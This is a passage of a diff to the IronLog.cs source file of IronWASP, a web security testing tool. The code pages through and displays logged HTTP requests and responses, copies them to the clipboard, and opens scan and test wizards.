Interlocked.Increment(ref Config.TestRequestsCount); - //IrSe.Request.ID = TestID; - //IronDB.LogMTRequest(IrSe.Request); - ////IronDB.ClearGroup(Group); - //ManualTesting.CurrentRequestID = TestID; - //ManualTesting.CurrentGroup = Group; - //ManualTesting.ClearGroup(Group, TestID); - //ManualTesting.StoreInGroupList(IrSe.Request); - //IronUI.SetNewTestRequest(IrSe.Request, Group); - } - catch (Exception Exp) - { - IronUI.ShowLogStatus("Unable to read Request from Log", true); - IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); - } - } - - internal static void MarkForScanning(string Source, string ID) - { - try - { - int IntID = Int32.Parse(ID); - MarkForScanning(Source, IntID); - } - catch { return; } - } - - internal static void MarkForScanning(string Source, int ID) - { - object[] Details = new object[] { Source, ID}; - - Thread Worker = new Thread(MarkForScanning); - Worker.Start(Details); - } - - static void MarkForScanning(object Details) - { - try - { - object[] DetailsArray = (object[])Details; - string Source = DetailsArray[0].ToString(); - int ID = (int)DetailsArray[1]; - - Session IrSe = GetLog(Source, ID); - if (IrSe == null) - { - IronUI.ShowLogStatus("Unable to read Request from log", true); - return; - } - if (IrSe.Request == null) - { - IronUI.ShowLogStatus("Unable to read Request from log", true); - return; - } - //int ScanID = Interlocked.Increment(ref Config.ScanCount); - //IronDB.CreateScan(ScanID, IrSe.Request); - //IronUI.CreateScan(ScanID, "Not Started", IrSe.Request.Method, IrSe.Request.FullUrl); - //Scanner S = new Scanner(IrSe.Request); - //S.ScanID = ScanID; - //Scanner.ResetChangedStatus(); - //IronUI.ResetConfigureScanFields(); - //Scanner.SetScannerFromDBToUiAfterProcessing(S); - //IronUI.ShowScanJobsQueue(); - StartScanJobWizard SSJW = new StartScanJobWizard(); - SSJW.SetRequest(IrSe.Request); - SSJW.ShowDialog(); - } - catch (Exception Exp) - { - IronUI.ShowLogStatus("Unable to read Request from Log", true); - IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); - } - } - - //internal static void MarkForJavaScriptTesting(string Source, string ID) - //{ - // try - // { - // int IntID = Int32.Parse(ID); - // MarkForJavaScriptTesting(Source, IntID); - // } - // catch { return; } - //} - - //internal static void MarkForJavaScriptTesting(string Source, int ID) - //{ - // object[] Details = new object[] { Source, ID }; - - // Thread Worker = new Thread(MarkForJavaScriptTesting); - // Worker.Start(Details); - //} - - //static void MarkForJavaScriptTesting(object Details) - //{ - // try - // { - // object[] DetailsArray = (object[])Details; - // string Source = DetailsArray[0].ToString(); - // int ID = (int)DetailsArray[1]; - - // Session IrSe = GetLog(Source, ID); - // if (IrSe == null) - // { - // IronUI.ShowLogStatus("Unable to read Response from log", true); - // return; - // } - // if (IrSe.Response == null) - // { - // IronUI.ShowLogStatus("Unable to read Response from 4log", true); - // return; - // } - // IronUI.FillAndShowJavaScriptTester(IrSe.Response.BodyString); - // } - // catch (Exception Exp) - // { - // IronUI.ShowLogStatus("Unable to read Response from Log", true); - // IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); - // } - //} - - internal static void CopyRequest(string Source, string ID) - { - try - { - int IntID = Int32.Parse(ID); - CopyRequest(Source, IntID); - } - catch { return; } - } - - internal static void CopyRequest(string Source, int ID) - { - object[] Details = new object[] { Source, ID }; - - Thread Worker = new Thread(CopyRequest); - Worker.Start(Details); - } - - static void CopyRequest(object Details) - { - try - { - object[] DetailsArray = (object[])Details; - string Source = DetailsArray[0].ToString(); - int ID = (int)DetailsArray[1]; - - Session IrSe = GetLog(Source, ID); - if (IrSe == null) - { - IronUI.ShowLogStatus("Unable to read Request from log", true); - return; - } - if (IrSe.Request == null) - { - IronUI.ShowLogStatus("Unable to read Request from log", true); - return; - } - IronUI.SetClipBoard(IrSe.Request.ToShortString()); - } - catch (Exception Exp) - { - IronUI.ShowLogStatus("Unable to read Request from Log", true); - IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); - } - } - - internal static void CopyResponse(string Source, string ID) - { - try - { - int IntID = Int32.Parse(ID); - CopyResponse(Source, IntID); - } - catch { return; } - } - - internal static void CopyResponse(string Source, int ID) - { - object[] Details = new object[] { Source, ID }; - - Thread Worker = new Thread(CopyResponse); - Worker.Start(Details); - } - - static void CopyResponse(object Details) - { - try - { - object[] DetailsArray = (object[])Details; - string Source = DetailsArray[0].ToString(); - int ID = (int)DetailsArray[1]; - - Session IrSe = GetLog(Source, ID); - if (IrSe == null) - { - IronUI.ShowLogStatus("Unable to read Response from log", true); - return; - } - if (IrSe.Response == null) - { - IronUI.ShowLogStatus("Unable to read Response from log", true); - return; - } - IronUI.SetClipBoard(IrSe.Response.ToString()); - } - catch (Exception Exp) - { - IronUI.ShowLogStatus("Unable to read Request from Log", true); - IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); - } - } - - internal static Session GetLog(string Source, int ID) - { - Session IrSe = null; - switch (Source) - { - case RequestSource.Proxy: - IrSe = Session.FromProxyLog(ID); - break; - case RequestSource.Scan: - IrSe = Session.FromScanLog(ID); - break; - case RequestSource.Shell: - IrSe = Session.FromShellLog(ID); - break; - case RequestSource.Test: - IrSe = Session.FromTestLog(ID); - break; - case RequestSource.Probe: - IrSe = Session.FromProbeLog(ID); - break; - case RequestSource.Trigger: - if (ID == 0) - { - IrSe = new Session(Finding.CurrentPluginResult.BaseRequest, Finding.CurrentPluginResult.BaseResponse); - } - else - { - Trigger SelectedTrigger = Finding.CurrentPluginResult.Triggers.GetTrigger(ID - 1); - if (SelectedTrigger.Request != null) - { - if (SelectedTrigger.Response == null) - IrSe = new Session(SelectedTrigger.Request); - else - IrSe = new Session(SelectedTrigger.Request, SelectedTrigger.Response); - } - } - break; - case RequestSource.TestGroup: - //if (ManualTesting.RedGroupSessions.ContainsKey(ID)) return ManualTesting.RedGroupSessions[ID].GetClone(); - //if (ManualTesting.BlueGroupSessions.ContainsKey(ID)) return ManualTesting.BlueGroupSessions[ID].GetClone(); - //if (ManualTesting.GreenGroupSessions.ContainsKey(ID)) return ManualTesting.GreenGroupSessions[ID].GetClone(); - //if (ManualTesting.GrayGroupSessions.ContainsKey(ID)) return ManualTesting.GrayGroupSessions[ID].GetClone(); - //if (ManualTesting.BrownGroupSessions.ContainsKey(ID)) return ManualTesting.BrownGroupSessions[ID].GetClone(); - foreach (string Group in ManualTesting.GroupSessions.Keys) - { - if(ManualTesting.GroupSessions[Group].ContainsKey(ID)) - return ManualTesting.GroupSessions[Group][ID].GetClone(); - } - break; - case RequestSource.SelectedLogEntry: - return IronLog.CurrentSession.GetClone(); - case RequestSource.CurrentProxyInterception: - return IronProxy.CurrentSession.GetClone(); - default: - IrSe = Session.FromLog(ID, Source); - break; - } - return IrSe; - } - - internal static int GetJumpCount(int Level) - { - switch (Level) - { - case(4): - return IronLog.MaxRowCount * 125; - case (3): - return IronLog.MaxRowCount * 25; - case (2): - return IronLog.MaxRowCount * 5; - case (1): - default: - return 0; - } - } - - internal static void MoveProxyLogRecordForward(int JumpLevel) - { - Thread T = new Thread(MoveProxyLogRecordForward); - T.Start(JumpLevel); - } - internal static void MoveProxyLogRecordForward(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetNextProxyLogRecords(JumpLevel); - if (Records.Count == 0) - { - IronUI.ShowLogBottomStatus("Reached end of logs", true); - return; - } - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToProxyGridRowObjectArray()); - } - IronUI.SetProxyGridRows(Rows); - } - internal static void MoveProbeLogRecordForward(int JumpLevel) - { - Thread T = new Thread(MoveProbeLogRecordForward); - T.Start(JumpLevel); - } - internal static void MoveProbeLogRecordForward(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetNextProbeLogRecords(JumpLevel); - if (Records.Count == 0) - { - IronUI.ShowLogBottomStatus("Reached end of logs", true); - return; - } - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToProbeGridRowObjectArray()); - } - IronUI.SetProbeGridRows(Rows); - } - internal static void MoveScanLogRecordForward(int JumpLevel) - { - Thread T = new Thread(MoveScanLogRecordForward); - T.Start(JumpLevel); - } - internal static void MoveScanLogRecordForward(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetNextScanLogRecords(JumpLevel); - if (Records.Count == 0) - { - IronUI.ShowLogBottomStatus("Reached end of logs", true); - return; - } - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToScanGridRowObjectArray()); - } - IronUI.SetScanGridRows(Rows); - } - internal static void MoveShellLogRecordForward(int JumpLevel) - { - Thread T = new Thread(MoveShellLogRecordForward); - T.Start(JumpLevel); - } - internal static void MoveShellLogRecordForward(object JumpLevelObj) - { - int JumpLevel = (int) JumpLevelObj; - List Records = GetNextShellLogRecords(JumpLevel); - if (Records.Count == 0) - { - IronUI.ShowLogBottomStatus("Reached end of logs", true); - return; - } - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToShellGridRowObjectArray()); - } - IronUI.SetShellGridRows(Rows); - } - internal static void MoveOtherLogRecordForward(int JumpLevel) - { - Thread T = new Thread(MoveOtherLogRecordForward); - T.Start(JumpLevel); - } - internal static void MoveOtherLogRecordForward(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetNextOtherLogRecords(JumpLevel); - if (Records.Count == 0) - { - IronUI.ShowLogBottomStatus("Reached end of logs", true); - return; - } - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToShellGridRowObjectArray()); - } - IronUI.SetOtherSourceGridRows(Rows, IronLog.SelectedOtherSource); - } - internal static void MoveTestLogRecordForward(int JumpLevel) - { - Thread T = new Thread(MoveTestLogRecordForward); - T.Start(JumpLevel); - } - internal static void MoveTestLogRecordForward(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetNextTestLogRecords(JumpLevel); - if (Records.Count == 0) - { - IronUI.ShowLogBottomStatus("Reached end of logs", true); - return; - } - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToTestGridRowObjectArray()); - } - IronUI.SetTestGridRows(Rows); - } - - internal static void MoveProxyLogRecordBack(int JumpLevel) - { - Thread T = new Thread(MoveProxyLogRecordBack); - T.Start(JumpLevel); - } - internal static void MoveProxyLogRecordBack(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetPreviousProxyLogRecords(JumpLevel); - if (Records.Count == 0) return; - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToProxyGridRowObjectArray()); - } - IronUI.SetProxyGridRows(Rows); - } - internal static void MoveProbeLogRecordBack(int JumpLevel) - { - Thread T = new Thread(MoveProbeLogRecordBack); - T.Start(JumpLevel); - } - internal static void MoveProbeLogRecordBack(object JumpLevelObj) - { - int JumpLevel = (int) JumpLevelObj; - List Records = GetPreviousProbeLogRecords(JumpLevel); - if (Records.Count == 0) return; - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToProbeGridRowObjectArray()); - } - IronUI.SetProbeGridRows(Rows); - } - internal static void MoveScanLogRecordBack(int JumpLevel) - { - Thread T = new Thread(MoveScanLogRecordBack); - T.Start(JumpLevel); - } - internal static void MoveScanLogRecordBack(object JumpLevelObj) - { - int JumpLevel = (int) JumpLevelObj; - List Records = GetPreviousScanLogRecords(JumpLevel); - if (Records.Count == 0) return; - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToScanGridRowObjectArray()); - } - IronUI.SetScanGridRows(Rows); - } - internal static void MoveShellLogRecordBack(int JumpLevel) - { - Thread T = new Thread(MoveShellLogRecordBack); - T.Start(JumpLevel); - } - internal static void MoveShellLogRecordBack(object JumpLevelObj) - { - int JumpLevel = (int) JumpLevelObj; - List Records = GetPreviousShellLogRecords(JumpLevel); - if (Records.Count == 0) return; - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToShellGridRowObjectArray()); - } - IronUI.SetShellGridRows(Rows); - } - internal static void MoveOtherLogRecordBack(int JumpLevel) - { - Thread T = new Thread(MoveOtherLogRecordBack); - T.Start(JumpLevel); - } - internal static void MoveOtherLogRecordBack(object JumpLevelObj) - { - int JumpLevel = (int)JumpLevelObj; - List Records = GetPreviousOtherLogRecords(JumpLevel); - if (Records.Count == 0) return; - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToShellGridRowObjectArray()); - } - IronUI.SetOtherSourceGridRows(Rows, IronLog.SelectedOtherSource); - } - internal static void MoveTestLogRecordBack(int JumpLevel) - { - Thread T = new Thread(MoveTestLogRecordBack); - T.Start(JumpLevel); - } - internal static void MoveTestLogRecordBack(object JumpLevelObj) - { - int JumpLevel = (int) JumpLevelObj; - List Records = GetPreviousTestLogRecords(JumpLevel); - if (Records.Count == 0) return; - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToTestGridRowObjectArray()); - } - IronUI.SetTestGridRows(Rows); - } - - internal static List GetNextProxyLogRecords(int JumpLevel) - { - int JumpCount = GetJumpCount(JumpLevel); - int StartIndex = IronLog.ProxyMax + JumpCount; - List Records = IronDB.GetRecordsFromProxyLog(StartIndex, IronLog.MaxRowCount); - if (Records.Count == 0) - { - int NewStartIndex = Config.LastProxyLogId - IronLog.MaxRowCount; - if (NewStartIndex > 0) - { - Records = IronDB.GetRecordsFromProxyLog(NewStartIndex, IronLog.MaxRowCount); - if (Records.Count > 0) - { - if (Records[Records.Count - 1].ID == IronLog.ProxyMax) Records.Clear(); - } - } - } - return Records; - } - internal static List GetNextProbeLogRecords(int JumpLevel) - { - int JumpCount = GetJumpCount(JumpLevel); - int StartIndex = IronLog.ProbeMax + JumpCount; - List Records = IronDB.GetRecordsFromProbeLog(StartIndex, IronLog.MaxRowCount); - if (Records.Count == 0) - { - int NewStartIndex = Config.LastProbeLogId - IronLog.MaxRowCount; - if (NewStartIndex > 0) - { - Records = IronDB.GetRecordsFromProbeLog(NewStartIndex, IronLog.MaxRowCount); - if (Records.Count > 0) - { - if (Records[Records.Count - 1].ID == IronLog.ProbeMax) Records.Clear(); - } - } - } - return Records; - } - internal static List GetNextScanLogRecords(int JumpLevel) - { - int JumpCount = GetJumpCount(JumpLevel); - int StartIndex = IronLog.ScanMax + JumpCount; - List Records = IronDB.GetRecordsFromScanLog(StartIndex, IronLog.MaxRowCount); - if (Records.Count == 0) - { - int NewStartIndex = Config.LastScanLogId - IronLog.MaxRowCount; - if (NewStartIndex > 0) - { - Records = IronDB.GetRecordsFromScanLog(NewStartIndex, IronLog.MaxRowCount); - if (Records.Count > 0) - { - if (Records[Records.Count - 1].ID == IronLog.ScanMax) Records.Clear(); - } - } - } - return Records; - } - internal static List GetNextShellLogRecords(int JumpLevel) - { - int JumpCount = GetJumpCount(JumpLevel); - int StartIndex = IronLog.ShellMax + JumpCount; - List Records = IronDB.GetRecordsFromShellLog(StartIndex, IronLog.MaxRowCount); - if (Records.Count == 0) - { - int NewStartIndex = Config.LastShellLogId - IronLog.MaxRowCount; - if (NewStartIndex > 0) - { - Records = IronDB.GetRecordsFromShellLog(NewStartIndex, IronLog.MaxRowCount); - if (Records.Count > 0) - { - if (Records[Records.Count - 1].ID == IronLog.ShellMax) Records.Clear(); - } - } - } - return Records; - } - internal static List GetNextOtherLogRecords(int JumpLevel) - { - int JumpCount = GetJumpCount(JumpLevel); - int StartIndex = IronLog.OtherSourceMax + JumpCount; - List Records = IronDB.GetRecordsFromOtherSourceLog(StartIndex, IronLog.MaxRowCount, IronLog.SelectedOtherSource); - if (Records.Count == 0) - { - int NewStartIndex = Config.GetLastLogId(IronLog.SelectedOtherSource) - IronLog.MaxRowCount; - if (NewStartIndex > 0) - { - Records = IronDB.GetRecordsFromOtherSourceLog(NewStartIndex, IronLog.MaxRowCount, IronLog.SelectedOtherSource); - if (Records.Count > 0) - { - if (Records[Records.Count - 1].ID == IronLog.OtherSourceMax) Records.Clear(); - } - } - } - return Records; - } - internal static List GetNextTestLogRecords(int JumpLevel) - { - int JumpCount = GetJumpCount(JumpLevel); - int StartIndex = IronLog.TestMax + JumpCount; - List Records = IronDB.GetRecordsFromTestLog(StartIndex, IronLog.MaxRowCount); - if (Records.Count == 0) - { - int NewStartIndex = Config.LastTestLogId - IronLog.MaxRowCount; - if (NewStartIndex > 0) - { - Records = IronDB.GetRecordsFromTestLog(NewStartIndex, IronLog.MaxRowCount); - if (Records.Count > 0) - { - if (Records[Records.Count - 1].ID == IronLog.TestMax) Records.Clear(); - } - } - } - return Records; - } - - internal static List GetPreviousProxyLogRecords(int JumpLevel) - { - List Records = new List(); - Records = GetPreviousLogRecords(IronDB.GetRecordsFromProxyLog, IronLog.ProxyMin, JumpLevel); - return Records; - } - internal static List GetPreviousProbeLogRecords(int JumpLevel) - { - List Records = new List(); - Records = GetPreviousLogRecords(IronDB.GetRecordsFromProbeLog, IronLog.ProbeMin, JumpLevel); - return Records; - } - internal static List GetPreviousScanLogRecords(int JumpLevel) - { - List Records = new List(); - Records = GetPreviousLogRecords(IronDB.GetRecordsFromScanLog, IronLog.ScanMin, JumpLevel); - return Records; - } - internal static List GetPreviousShellLogRecords(int JumpLevel) - { - List Records = new List(); - Records = GetPreviousLogRecords(IronDB.GetRecordsFromShellLog, IronLog.ShellMin, JumpLevel); - return Records; - } - internal static List GetPreviousOtherLogRecords(int JumpLevel) - { - List Records = new List(); - Records = GetPreviousLogRecords(IronDB.GetRecordsFromSelectedOtherSourceLog, IronLog.OtherSourceMin, JumpLevel); - return Records; - } - internal static List GetPreviousTestLogRecords(int JumpLevel) - { - List Records = new List(); - Records = GetPreviousLogRecords(IronDB.GetRecordsFromTestLog, IronLog.TestMin, JumpLevel); - return Records; - } - - internal static List GetPreviousLogRecords(GetRecordsDelegate GetRecordMethod, int CurrentMin, int JumpLevel) - { - List Records = new List(); - int JumpCount = GetJumpCount(JumpLevel); - if (CurrentMin <= 1) - { - IronUI.ShowLogBottomStatus("Reached beginning of the log. Cannot go back further.", true); - return Records; - } - int StartIndex = CurrentMin - IronLog.MaxRowCount - JumpCount - 1; - Records = GetRecordMethod(StartIndex, IronLog.MaxRowCount); - return Records; - } - - internal delegate List GetRecordsDelegate(int StartIndex, int Count); - - internal static void ShowOtherSourceRecords() - { - IronUI.ShowLogBottomStatus("Loading...", false); - List Records = IronDB.GetRecordsFromOtherSourceLog(0, IronLog.MaxRowCount, IronLog.SelectedOtherSource); - if (Records.Count == 0) return; - List Rows = new List(); - foreach (LogRow Record in Records) - { - Rows.Add(Record.ToShellGridRowObjectArray()); - } - IronUI.SetOtherSourceGridRows(Rows, IronLog.SelectedOtherSource); - } - - static int[] GetMinMaxIds(List Records) - { - int[] MinMax = new int[] {0, 0}; - if (Records.Count > 0) - { - MinMax[0] = Records[0].ID; - MinMax[1] = Records[Records.Count - 1].ID; - } - return MinMax; - } - - internal static string SourceName(string Source) - { - string StringSource = ""; - switch (Source) - { - case RequestSource.Test: - StringSource = "Test"; - break; - case RequestSource.Scan: - StringSource = "Scan"; - break; - case RequestSource.Shell: - StringSource = "Shell"; - break; - case RequestSource.Probe: - StringSource = "Probe"; - break; - case RequestSource.Proxy: - StringSource = "Proxy"; - break; - } - return StringSource; - } - - static bool IsActionInProgress() - { - if (CurrentThread == null) return false; - if (CurrentThread.ThreadState == ThreadState.Running || CurrentThread.ThreadState == ThreadState.WaitSleepJoin) return true; - return false; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; + +namespace IronWASP +{ + internal class IronLog + { + internal static string CurrentSource = RequestSource.Scan; + internal static Session CurrentSession; + internal static int CurrentID = 0; + internal static int CurrentRowID = 0; + internal static bool IsSiteMap = false; + internal const int MaxRowCount = 2000; + static Thread CurrentThread; + + internal static string SourceControl = ""; + + internal static int ProxyMin = 0; + internal static int ProxyMax = 0; + internal static int ShellMin = 0; + internal static int ShellMax = 0; + internal static int ProbeMin = 0; + internal static int ProbeMax = 0; + internal static int ScanMin = 0; + internal static int ScanMax = 0; + internal static int TestMin = 0; + internal static int TestMax = 0; + + internal static int SitemapProxyMin = 0; + internal static int SitemapProxyMax = 0; + internal static int SitemapProbeMin = 0; + internal static int SitemapProbeMax = 0; + + internal static int OtherSourceMin = 0; + internal static int OtherSourceMax = 0; + internal static string SelectedOtherSource = ""; + + internal static string MainLogDefaultMsg = "Right-click on any log below to get a menu that will let you perform scans and other actions on the selected log."; + + internal static string CurrentSourceName + { + get + { + return SourceName(CurrentSource); + } + } + + internal static void ShowLog(string Source, string ID, int RowID, bool IsSiteMapSelected) + { + try + { + int IntID = Int32.Parse(ID); + CurrentRowID = RowID; + IsSiteMap = IsSiteMapSelected; + ShowLog(Source, IntID); + } + catch { return; } + } + + internal static void ShowLog(string Source, int ID) + { + CurrentSource = Source; + CurrentID = ID; + PrepareToShowLog(); + CurrentThread = new Thread(ShowLog); + CurrentThread.Start(); + } + + internal static void ShowNextLog() + { + PrepareToShowLog(); + CurrentID++; + CurrentThread = new Thread(ShowLog); + CurrentThread.Start(); + } + + internal static void ShowPreviousLog() + { + if (CurrentID > 1) + { + PrepareToShowLog(); + CurrentID--; + CurrentThread = new Thread(ShowLog); + CurrentThread.Start(); + } + else + { + IronUI.ShowLogStatus("", false); + } + } + + + + static void PrepareToShowLog() + { + try + { + CurrentThread.Abort(); + } + catch { } + IronUI.ResetLogDisplayFields(); + IronUI.ShowLogStatus("Loading...", false); + } + + static void ShowLog() + { + try + { + Session IrSe = GetLog(CurrentSource, CurrentID); + CurrentSession = IrSe; + IronUI.FillLogDisplayFields(IrSe); + } + catch(ThreadAbortException){} + catch(Exception Exp) + { + if (Exp.Message.Equals("ID not found in DB")) + { + IronUI.ShowLogStatus(string.Format("Record ID - {0} not found in DB",CurrentID.ToString()), true); + } + else + { + IronUI.ShowLogStatus("Unable to load Request/Response from Log", true); + IronException.Report("Error reading from " + SourceName(CurrentSource) + " log", Exp.Message, Exp.StackTrace); + } + } + } + + internal static void MarkForTesting(string Source, string ID, string Group) + { + try + { + int IntID = Int32.Parse(ID); + MarkForTesting(Source, IntID, Group); + } + catch { return; } + } + + internal static void MarkForTesting(string Source, int ID, string Group) + { + object[] Details = new object[] { Source, ID, Group }; + + Thread Worker = new Thread(MarkForTesting); + Worker.Start(Details); + } + + static void MarkForTesting(object Details) + { + try + { + object[] DetailsArray = (object[])Details; + string Source = DetailsArray[0].ToString(); + int ID = (int)DetailsArray[1]; + string Group = DetailsArray[2].ToString(); + + Session IrSe = GetLog(Source, ID); + if (IrSe == null) + { + IronUI.ShowLogStatus("Unable to read Request from log", true); + return; + } + if (IrSe.Request == null) + { + IronUI.ShowLogStatus("Unable to read Request from log", true); + return; + } + NameTestGroupWizard NTGW = new NameTestGroupWizard(); + NTGW.RequestToTest = IrSe.Request; + NTGW.ShowDialog(); + //ManualTesting.CreateNewGroupWithRequest(IrSe.Request, Group); + //int TestID = Interlocked.Increment(ref Config.TestRequestsCount); + //IrSe.Request.ID = TestID; + //IronDB.LogMTRequest(IrSe.Request); + ////IronDB.ClearGroup(Group); + //ManualTesting.CurrentRequestID = TestID; + //ManualTesting.CurrentGroup = Group; + //ManualTesting.ClearGroup(Group, TestID); + //ManualTesting.StoreInGroupList(IrSe.Request); + //IronUI.SetNewTestRequest(IrSe.Request, Group); + } + catch (Exception Exp) + { + IronUI.ShowLogStatus("Unable to read Request from Log", true); + IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); + } + } + + internal static void MarkForScanning(string Source, string ID) + { + try + { + int IntID = Int32.Parse(ID); + MarkForScanning(Source, IntID); + } + catch { return; } + } + + internal static void MarkForScanning(string Source, int ID) + { + object[] Details = new object[] { Source, ID}; + + Thread Worker = new Thread(MarkForScanning); + Worker.Start(Details); + } + + static void MarkForScanning(object Details) + { + try + { + object[] DetailsArray = (object[])Details; + string Source = DetailsArray[0].ToString(); + int ID = (int)DetailsArray[1]; + + Session IrSe = GetLog(Source, ID); + if (IrSe == null) + { + IronUI.ShowLogStatus("Unable to read Request from log", true); + return; + } + if (IrSe.Request == null) + { + IronUI.ShowLogStatus("Unable to read Request from log", true); + return; + } + //int ScanID = Interlocked.Increment(ref Config.ScanCount); + //IronDB.CreateScan(ScanID, IrSe.Request); + //IronUI.CreateScan(ScanID, "Not Started", IrSe.Request.Method, IrSe.Request.FullUrl); + //Scanner S = new Scanner(IrSe.Request); + //S.ScanID = ScanID; + //Scanner.ResetChangedStatus(); + //IronUI.ResetConfigureScanFields(); + //Scanner.SetScannerFromDBToUiAfterProcessing(S); + //IronUI.ShowScanJobsQueue(); + StartScanJobWizard SSJW = new StartScanJobWizard(); + SSJW.SetRequest(IrSe.Request); + SSJW.ShowDialog(); + } + catch (Exception Exp) + { + IronUI.ShowLogStatus("Unable to read Request from Log", true); + IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); + } + } + + //internal static void MarkForJavaScriptTesting(string Source, string ID) + //{ + // try + // { + // int IntID = Int32.Parse(ID); + // MarkForJavaScriptTesting(Source, IntID); + // } + // catch { return; } + //} + + //internal static void MarkForJavaScriptTesting(string Source, int ID) + //{ + // object[] Details = new object[] { Source, ID }; + + // Thread Worker = new Thread(MarkForJavaScriptTesting); + // Worker.Start(Details); + //} + + //static void MarkForJavaScriptTesting(object Details) + //{ + // try + // { + // object[] DetailsArray = (object[])Details; + // string Source = DetailsArray[0].ToString(); + // int ID = (int)DetailsArray[1]; + + // Session IrSe = GetLog(Source, ID); + // if (IrSe == null) + // { + // IronUI.ShowLogStatus("Unable to read Response from log", true); + // return; + // } + // if (IrSe.Response == null) + // { + // IronUI.ShowLogStatus("Unable to read Response from 4log", true); + // return; + // } + // IronUI.FillAndShowJavaScriptTester(IrSe.Response.BodyString); + // } + // catch (Exception Exp) + // { + // IronUI.ShowLogStatus("Unable to read Response from Log", true); + // IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); + // } + //} + + internal static void CopyRequest(string Source, string ID) + { + try + { + int IntID = Int32.Parse(ID); + CopyRequest(Source, IntID); + } + catch { return; } + } + + internal static void CopyRequest(string Source, int ID) + { + object[] Details = new object[] { Source, ID }; + + Thread Worker = new Thread(CopyRequest); + Worker.Start(Details); + } + + static void CopyRequest(object Details) + { + try + { + object[] DetailsArray = (object[])Details; + string Source = DetailsArray[0].ToString(); + int ID = (int)DetailsArray[1]; + + Session IrSe = GetLog(Source, ID); + if (IrSe == null) + { + IronUI.ShowLogStatus("Unable to read Request from log", true); + return; + } + if (IrSe.Request == null) + { + IronUI.ShowLogStatus("Unable to read Request from log", true); + return; + } + IronUI.SetClipBoard(IrSe.Request.ToShortString()); + } + catch (Exception Exp) + { + IronUI.ShowLogStatus("Unable to read Request from Log", true); + IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); + } + } + + internal static void CopyResponse(string Source, string ID) + { + try + { + int IntID = Int32.Parse(ID); + CopyResponse(Source, IntID); + } + catch { return; } + } + + internal static void CopyResponse(string Source, int ID) + { + object[] Details = new object[] { Source, ID }; + + Thread Worker = new Thread(CopyResponse); + Worker.Start(Details); + } + + static void CopyResponse(object Details) + { + try + { + object[] DetailsArray = (object[])Details; + string Source = DetailsArray[0].ToString(); + int ID = (int)DetailsArray[1]; + + Session IrSe = GetLog(Source, ID); + if (IrSe == null) + { + IronUI.ShowLogStatus("Unable to read Response from log", true); + return; + } + if (IrSe.Response == null) + { + IronUI.ShowLogStatus("Unable to read Response from log", true); + return; + } + IronUI.SetClipBoard(IrSe.Response.ToString()); + } + catch (Exception Exp) + { + IronUI.ShowLogStatus("Unable to read Request from Log", true); + IronException.Report("Error reading from log", Exp.Message, Exp.StackTrace); + } + } + + internal static Session GetLog(string Source, int ID) + { + Session IrSe = null; + switch (Source) + { + case RequestSource.Proxy: + IrSe = Session.FromProxyLog(ID); + break; + case RequestSource.Scan: + IrSe = Session.FromScanLog(ID); + break; + case RequestSource.Shell: + IrSe = Session.FromShellLog(ID); + break; + case RequestSource.Test: + IrSe = Session.FromTestLog(ID); + break; + case RequestSource.Probe: + IrSe = Session.FromProbeLog(ID); + break; + case RequestSource.Trigger: + if (ID == 0) + { + IrSe = new Session(Finding.CurrentPluginResult.BaseRequest, Finding.CurrentPluginResult.BaseResponse); + } + else + { + Trigger SelectedTrigger = Finding.CurrentPluginResult.Triggers.GetTrigger(ID - 1); + if (SelectedTrigger.Request != null) + { + if (SelectedTrigger.Response == null) + IrSe = new Session(SelectedTrigger.Request); + else + IrSe = new Session(SelectedTrigger.Request, SelectedTrigger.Response); + } + } + break; + case RequestSource.TestGroup: + //if (ManualTesting.RedGroupSessions.ContainsKey(ID)) return ManualTesting.RedGroupSessions[ID].GetClone(); + //if (ManualTesting.BlueGroupSessions.ContainsKey(ID)) return ManualTesting.BlueGroupSessions[ID].GetClone(); + //if (ManualTesting.GreenGroupSessions.ContainsKey(ID)) return ManualTesting.GreenGroupSessions[ID].GetClone(); + //if (ManualTesting.GrayGroupSessions.ContainsKey(ID)) return ManualTesting.GrayGroupSessions[ID].GetClone(); + //if (ManualTesting.BrownGroupSessions.ContainsKey(ID)) return ManualTesting.BrownGroupSessions[ID].GetClone(); + foreach (string Group in ManualTesting.GroupSessions.Keys) + { + if(ManualTesting.GroupSessions[Group].ContainsKey(ID)) 